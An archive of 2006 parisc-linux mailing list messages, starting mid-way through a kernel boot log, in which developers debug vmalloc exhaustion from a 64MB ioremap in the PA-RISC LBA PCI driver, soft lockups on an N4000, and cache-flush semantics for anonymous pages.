IOREMAP: remapped to 000000000007c000
IOREMAP: phys=fffffffd00000000, size=4000000
allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
IOREMAP: phys=fffffffffecf8000, size=1000
IOREMAP: remapped to 000000000007a000
LBA version TR4.0 (0x5) found at 0xfffffffffecf8000
IOREMAP: phys=fffffffffecf8000, size=2000
IOREMAP: remapped to 0000000004084000
IOREMAP: phys=fffffffe00000000, size=4000000
SCSI subsystem initialized
unwind_init: start = 0x10451cc0, end = 0x10472e30, entries = 8471
Performance monitoring counters enabled for Unknown machine
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
PDC Stable Storage facility v0.22
Soft power switch support not available.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
IOREMAP: phys=ffffffff80000000, size=1000
IOREMAP: remapped to 0000000004082000
0000:00:04.1: ttyS0 at MMIO 0xffffffff80000000 (irq = 22) is a 16550A
0000:00:04.1: ttyS1 at MMIO 0xffffffff80000008 (irq = 22) is a 16450
0000:00:04.1: ttyS2 at MMIO 0xffffffff80000010 (irq = 22) is a 16550A
0000:00:04.1: ttyS3 at MMIO 0xffffffff80000030 (irq = 22) is a 16550A
Couldn't register serial port 0000:00:04.1: -28
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 1.1.13 (December 15, 2004)
IOREMAP: phys=ffffffff80003000, size=1000
IOREMAP: remapped to 0000000004088000
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21142/DS21143 Tulip rev 65 at 0000000004088000, 00:30:6E:1C:B2:0B, IRQ 18.
IOREMAP: phys=ffffffff8a040000, size=1000
IOREMAP: remapped to 000000000408a000
tulip1:  EEPROM default media type Autosense.
tulip1:  Index #0 - Media MII (#11) described by a 21142 MII PHY (3) block.
tulip1:  MII transceiver #1 config 3100 status 7849 advertising 0101.
eth1: Digital DS21142/DS21143 Tulip rev 65 at 000000000408a000, 00:30:6E:21:14:B4, IRQ 24.
IOREMAP: phys=ffffffff80080000, size=1000
IOREMAP: remapped to 000000000408c000
IOREMAP: phys=ffffffff80100000, size=1000
IOREMAP: remapped to 000000000408e000
sym0: <895> rev 0x1 at pci 0000:00:01.0 irq 19
sym0: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
sym0: SCSI BUS has been reset.
sym0: SCSI BUS mode change from SE to SE.
scsi0 : sym-2.2.2
sym0: SCSI BUS has been reset.
   Vendor: HP        Model: DVD-ROM 305       Rev: 1.01
   Type:   CD-ROM                             ANSI SCSI revision: 02
  target0:0:1: Beginning Domain Validation
  target0:0:1: asynchronous
  target0:0:1: FAST-20 SCSI 20.0 MB/s ST (50 ns, offset 16)
  target0:0:1: Domain Validation skipping write tests
  target0:0:1: Ending Domain Validation
   Vendor: HP        Model: C1537A            Rev: L105
   Type:   Sequential-Access                  ANSI SCSI revision: 02
  target0:0:3: Beginning Domain Validation
  target0:0:3: asynchronous
  target0:0:3: FAST-10 SCSI 10.0 MB/s ST (100 ns, offset 31)
  target0:0:3: Domain Validation skipping write tests
  target0:0:3: Ending Domain Validation
   Vendor: SEAGATE   Model: ST39103LW         Rev: HP04
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target0:0:8: tagged command queuing enabled, command queue depth 16.
  target0:0:8: Beginning Domain Validation
  target0:0:8: asynchronous
  target0:0:8: wide asynchronous
  target0:0:8: FAST-20 WIDE SCSI 40.0 MB/s ST (50 ns, offset 15)
  target0:0:8: Domain Validation skipping write tests
  target0:0:8: Ending Domain Validation
IOREMAP: phys=ffffffff80004000, size=1000
IOREMAP: remapped to 0000000004090000
IOREMAP: phys=ffffffff80001000, size=1000
IOREMAP: remapped to 0000000004092000
sym1: <875> rev 0x37 at pci 0000:00:02.0 irq 20
sym1: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym1: SCSI BUS has been reset.
scsi1 : sym-2.2.2
IOREMAP: phys=ffffffff80005000, size=1000
IOREMAP: remapped to 0000000004094000
IOREMAP: phys=ffffffff80002000, size=1000
IOREMAP: remapped to 0000000004096000
sym2: <875> rev 0x37 at pci 0000:00:02.1 irq 21
sym2: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym2: SCSI BUS has been reset.
scsi2 : sym-2.2.2
st: Version 20050830, fixed bufsize 32768, s/g segs 256
st 0:0:3:0: Attached scsi tape st0<4>st0: try direct i/o: yes (alignment 512 B)
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write back w/ FUA
SCSI device sda: 17783112 512-byte hdwr sectors (9105 MB)
sda: Write Protect is off
SCSI device sda: drive cache: write back w/ FUA
  sda: sda1 sda2 sda3 sda4 < sda5 sda6 sda7 sda8 sda9 sda10 sda11 sda12 >
sd 0:0:8:0: Attached scsi disk sda
sr0: scsi3-mmc drive: 16x/40x cd/rw xa/form2 cdda tray
Uniform CD-ROM driver Revision: 3.20
sr 0:0:1:0: Attached scsi generic sg0 type 5
st 0:0:3:0: Attached scsi generic sg1 type 1
sd 0:0:8:0: Attached scsi generic sg2 type 0
md: linear personality registered for level -1
md: raid0 personality registered for level 0
md: raid1 personality registered for level 1
md: md driver 0.90.3 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: bitmap version 4.39
NET: Registered protocol family 2
IP route cache hash table entries: 262144 (order: 9, 2097152 bytes)
TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 10
IPv6 over IPv4 tunneling driver
NET: Registered protocol family 17
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: Badness in smp_call_function at /usr/src/linux-2.6.16.1-pa10/arch/parisc/kernel/smp.c:348
Backtrace:
  [<0000000010112900>] dump_stack+0x18/0x28
  [<000000001011d9b4>] smp_call_function+0x37c/0x3c0
  [<0000000010111c5c>] flush_data_cache+0x2c/0x48
  [<00000000101109a8>] free_initmem+0x68/0x2f8
  [<000000001010fb20>] init+0x858/0x8c8
  [<000000001010347c>] ret_from_kernel_
********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
        ON       OFF           OFF       ON         ON
LED State: System running normally.

processor                 system initialization      1C00

*****************************************
[snip]

(this latest 'Badness in smp_call_function ...' was there but seems to be harmless and the boot continue without showing any more 
IOREMAP info ;-) )

Hth,
	Joel

PS: btw, rm CONFIG_DETECT_SOFTLOCKUP in the config doesn't help on this system ;<(:
still hanging (this time without Softlockup msg) after only:
top - 09:04:58 up 1 day, 16:26,  3 users,  load average: 2.40, 2.26, 2.20



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "BUG: soft lockup detected on CPU#0" on recent
	64bit 	k-2.6.16 (up or smp)
Date: Sun, 02 Apr 2006 11:23:17 +0000
Lines: 50
Approved: news@gmane.org
Message-ID: <442FB425.6000308@tiscali.be>
References: <IX00XW$54609265F67FD22980DB5BAA9486A0DB@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624040 18796 80.91.229.3 (22 Nov 2014 02:40:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:40 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 11:23:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 02 Apr 2006 13:23:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 024FF7D6F9;
	Sun,  2 Apr 2006 05:23:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24226-10; Sun, 2 Apr 2006 05:23:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32C1D7D6FE;
	Sun,  2 Apr 2006 05:23:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ED6C7D6F8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 05:23:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24226-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 05:23:30 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 3BEBD7D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 05:23:30 -0600 (MDT)
Original-Received: from (ip-62-235-195-41.dial.scarlet.be [62.235.195.41]) 
	by oola.is.scarlet.be  with ESMTP id k32BNMY27868; 
	Sun, 2 Apr 2006 13:23:22 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <IX00XW$54609265F67FD22980DB5BAA9486A0DB@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: AoMacAEtTiEtoqyUaGRwenF1ZUVSRJd5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23529



Joel Soete wrote:
> Hello pa*,
> 
> [snip]
> 
>>also noticed on n4k runing k-2.6.16-pa0 64bit smp kernel:
>>BUG: soft lockup detected on CPU#0!
>>
> 
> [...]
> 
>> IAOQ[0]: _read_lock+0x18/0x30
>> IAOQ[1]: _read_lock+0x8/0x30
>> RP(r2): send_group_sig_info+0x3c/0xb0
>>
> 
> This kind of hung re-occured on this n4k (64bit smp kernel 2.6.16-pa8);
> 
> I just grab the piminfo but useless:
> [...]
> Parse IAOQ = 0x000000ffff80ff3c for CPU[1]
> 
> Func: _end, Off: 0xffef1f1244, Addr: 0xffff80ff3c
> [...]
> 
> Parse IAOQ = 0x00000000000006c4 for CPU[3]
> 
> [...]
> 
> Sorry,
>     Joel
> 
> PS: I just start the same test but without CONFIG_DETECT_SOFTLOCKUP :<?
> 
well never the less system still hanging after only:
top - 09:04:58 up 1 day, 16:26,  3 users,  load average: 2.40, 2.26, 2.20

training the same test (kernel build in loop)
(just this time without "BUG: soft lockup detected on CPU#0!" msg?)

Thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 2 Apr 2006 15:15:04 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <200604021515.04424.deller@gmx.de>
References: <IX008E$FF5F5C221189CADA64719030F0E34D37@scarlet.be>
	<200604021129.31095.deller@gmx.de> <442FB31A.5040308@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624041 18799 80.91.229.3 (22 Nov 2014 02:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 13:15:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 02 Apr 2006 15:15:36 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E174D7D6F4;
	Sun,  2 Apr 2006 07:15:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26849-07; Sun, 2 Apr 2006 07:15:32 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AFCEF7D6F5;
	Sun,  2 Apr 2006 07:15:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 868C87D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 07:15:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26849-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 07:15:27 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 63C1D7D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 07:15:27 -0600 (MDT)
Original-Received: (qmail invoked by alias); 02 Apr 2006 13:15:23 -0000
Original-Received: from p54AD1820.dip0.t-ipconnect.de (EHLO p100.box) [84.173.24.32]
	by mail.gmx.net (mp042) with SMTP; 02 Apr 2006 15:15:23 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <442FB31A.5040308@tiscali.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T/YacL1YRkkei6uPfGRqamFmdWkvKBPm
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23530

On Sunday 02 April 2006 13:18, Joel Soete wrote:
> > On Saturday 01 April 2006 16:30, James Bottomley wrote:
> >>On Sat, 2006-04-01 at 09:35 +0200, Helge Deller wrote:
> >>>I'm pretty sure.
> >>>We never vmalloc'ed IOmem before.
> >>
> >>Where are you taking the ioremap virtual range from?  If it's the
> >>vmalloc range, which is the only one I can think we have available for
> >>arbitrary kernel mappings, then that would explain the behaviour.
> > 
> > 
> > Correct.
> > ioremap() calls get_vm_area(), which in turn gets it from __get_vm_area(size, flags, VMALLOC_START, VMALLOC_END);
> > VMALLOC_START seems to be at 32KB, while VMALLOC_END at around 240MB.
> > This means we have ~240MB of IO-Space which seems to little for the N4k.
> > 
> > Willy said in another mail:
> > 
> >>Either we're leaking vmalloc space, we allocate too much of it, or we
> >>need to drastically increase it the amount of it we have available.
> > 
> > 
> > I think Willy is right.
> > We probably don't leak in ioremap(), since we use the standard Linux kernel functions.
> > I would propose to analyze how much the 14 PCI busses wants to allocate, and if they free it correctly and if they might leak.
> > 
> > Might this be the culprit: 
> > (lba_pci.c:1216)
> > case PAT_PIOP:
> >                         /*
> >                         ** Postable I/O port space is per PCI host adapter.
> >                         ** base of 64MB PIOP region
> >                         */
> >                         lba_dev->iop_base = ioremap_nocache(p->start, 64 * 1024 * 1024);
> > It allocates 64MB in a loop.


LOG ANALYSIS:

> Setting cache flush threshold to ad700 (2 CPUs online)
> IOREMAP: phys=fffffffffed00000, size=1000
> IOREMAP: remapped to 0000000000008000	STARTING HERE
> SBA found Ike rev 2 at 0xfffffffffed00000
> IOREMAP: phys=fffffffffed02000, size=1000
> IOREMAP: remapped to 000000000000a000	OK, includes 4k filler
> [...]
> LBA version TR4.0 (0x5) found at 0xffffffffbffe0000
> IOREMAP: phys=ffffffffbffe0000, size=2000
> IOREMAP: remapped to 0000000000034000
> IOREMAP: phys=fffffff000000000, size=4000000	THIS IS THE 64MB ioremap() (see above)
> IOREMAP: remapped to 0000000000080000		OK.
> iosapic: no IRTE for 0000:00:04.0 (IRQ not connected?)
> IOREMAP: phys=ffffffffbffe2000, size=1000
> IOREMAP: remapped to 0000000000032000		FILLS up in-between.
> LBA version TR4.0 (0x5) found at 0xffffffffbffe2000
> IOREMAP: phys=ffffffffbffe2000, size=2000
> IOREMAP: remapped to 0000000000038000
> IOREMAP: phys=fffffff080000000, size=4000000	THE NEXT 64MB
> IOREMAP: remapped to 0000000004100000		OK.
> IOREMAP: phys=ffffffffbffe4000, size=1000
> IOREMAP: remapped to 000000000003c000
> LBA version TR4.0 (0x5) found at 0xffffffffbffe4000
> IOREMAP: phys=ffffffffbffe4000, size=2000
> IOREMAP: remapped to 0000000000040000
> IOREMAP: phys=fffffff100000000, size=4000000	ANOTHER 64MB
> IOREMAP: remapped to 0000000008180000		WE ARE NOW at 008180000
> IOREMAP: phys=ffffffffbffe8000, size=1000
> IOREMAP: remapped to 000000000003e000
> LBA version TR4.0 (0x5) found at 0xffffffffbffe8000
> IOREMAP: phys=ffffffffbffe8000, size=2000
> IOREMAP: remapped to 0000000000044000		THIS SMALL ONE IS STILL OK.
> IOREMAP: phys=fffffff200000000, size=4000000	BUT THIS BIG 64MB CHUNK FAILS.
> allocation failed: out of vmalloc space - use vmalloc=<size> to increase size.
> IOREMAP: phys=ffffffffbffea000, size=1000
> IOREMAP: remapped to 0000000000048000		OTHER SMALLER ONES OK AGAIN..
> LBA version TR4.0 (0x5) found at 0xffffffffbffea000

So, the problem is really the 64MB ioremap() from lba_pci.c:1216.
Grant, Willy, ... : Is it possible to reduce it or to iounmap() it again ?


> EXT3-fs: mounted filesystem with ordered data mode.
> VFS: Mounted root (ext3 filesystem) readonly.
> Freeing unused kernel memory: Badness in smp_call_function at /usr/src/linux-2.6.16.1-pa10/arch/parisc/kernel/smp.c:348
> Backtrace:
>   [<0000000010112900>] dump_stack+0x18/0x28
>   [<000000001011d9b4>] smp_call_function+0x37c/0x3c0
>   [<0000000010111c5c>] flush_data_cache+0x2c/0x48
>   [<00000000101109a8>] free_initmem+0x68/0x2f8
>   [<000000001010fb20>] init+0x858/0x8c8
>   [<000000001010347c>] ret_from_kernel_
> (this latest 'Badness in smp_call_function ...' was there but seems to be harmless and the boot continue without showing any more 
> IOREMAP info ;-) )

WHAT'S THAT ?
Do we have some __init too much ?
I never tested SMP.


> PS: btw, rm CONFIG_DETECT_SOFTLOCKUP in the config doesn't help on this system ;<(:
> still hanging (this time without Softlockup msg) after only:
> top - 09:04:58 up 1 day, 16:26,  3 users,  load average: 2.40, 2.26, 2.20

I think the softlockups don't really matter.
Does your box hangs without SMP as well ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [fuse-devel] Re: [parisc-linux] [PATCH] Fixs to work on ARM
	and PARIC platforms.
Date: Sun, 02 Apr 2006 09:09:20 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <1143986960.3865.5.camel__11713.1739658818$1416624041$gmane$org@mulgrave.il.steeleye.com>
References: <e739902b0604010122tefc6ab5radf8121eea8a3015@mail.gmail.com>
	<1143906395.3368.10.camel@mulgrave.il.steeleye.com>
	<E1FPjJe-0001cw-00@dorka.pomaz.szeredi.hu>
	<1143931084.3368.18.camel@mulgrave.il.steeleye.com>
	<E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624041 18800 80.91.229.3 (22 Nov 2014 02:40:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:41 +0000 (UTC)
Cc: fuse-devel@lists.sourceforge.net,
 parisc-linux@lists.parisc-linux.org
To: Miklos Szeredi <miklos@szeredi.hu>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Apr 2006 14:10:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 02 Apr 2006 16:10:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93AE07D739;
	Sun,  2 Apr 2006 08:10:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28095-08; Sun, 2 Apr 2006 08:10:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D94FB7D73A;
	Sun,  2 Apr 2006 08:10:13 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 414A37D733
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 08:10:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27960-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 2 Apr 2006 08:10:09 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat9.steeleye.com [209.192.50.41])
	by free.linux.hp.com (Postfix) with ESMTP id 5A2767D732
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  2 Apr 2006 08:10:09 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	k32E9L214886; Sun, 2 Apr 2006 10:09:21 -0400
In-Reply-To: <E1FPyD6-0002ag-00@dorka.pomaz.szeredi.hu>
X-Mailer: Evolution 2.2.3 (2.2.3-2.fc4) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: duwccDYYf2I/+IicY2xocyBwdWxlc5bY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23531

On Sun, 2006-04-02 at 10:45 +0200, Miklos Szeredi wrote:
> I'm confused.  What was the exact reason for having a separate
> function for anon pages?  Wouldn't unifying the functionality of
> flush_dcache_page() and flush_anon_page() make more sense?

No because flush_dcache_page() is designed for filesystems, which should
never see anonymous pages.

> Otherwise sparc and ppc would have to check PageAnon() from both
> flush_dcache_page() and flush_anon_page() and call a common function,
> which seems to just complicate things without any gain.

I don't think what you propose is desirable or possible:
flush_dcache_pages() is designed not to have to flush them (it can't
actually because it can't find them properly) but it may flush them by
accident if they get swept up into the implementation.  Sparc and PPC
are CAM flushing implementations, so I suspect the cache just needs to
be asked to flush a single physical address and it will find all the
virtual aliases and flush them (including the anonymous pages).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Strange newest LAB msg?
Date: Sun, 02 Apr 2006 14:29:23 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <442FDFC3.8070408@tiscali.be>
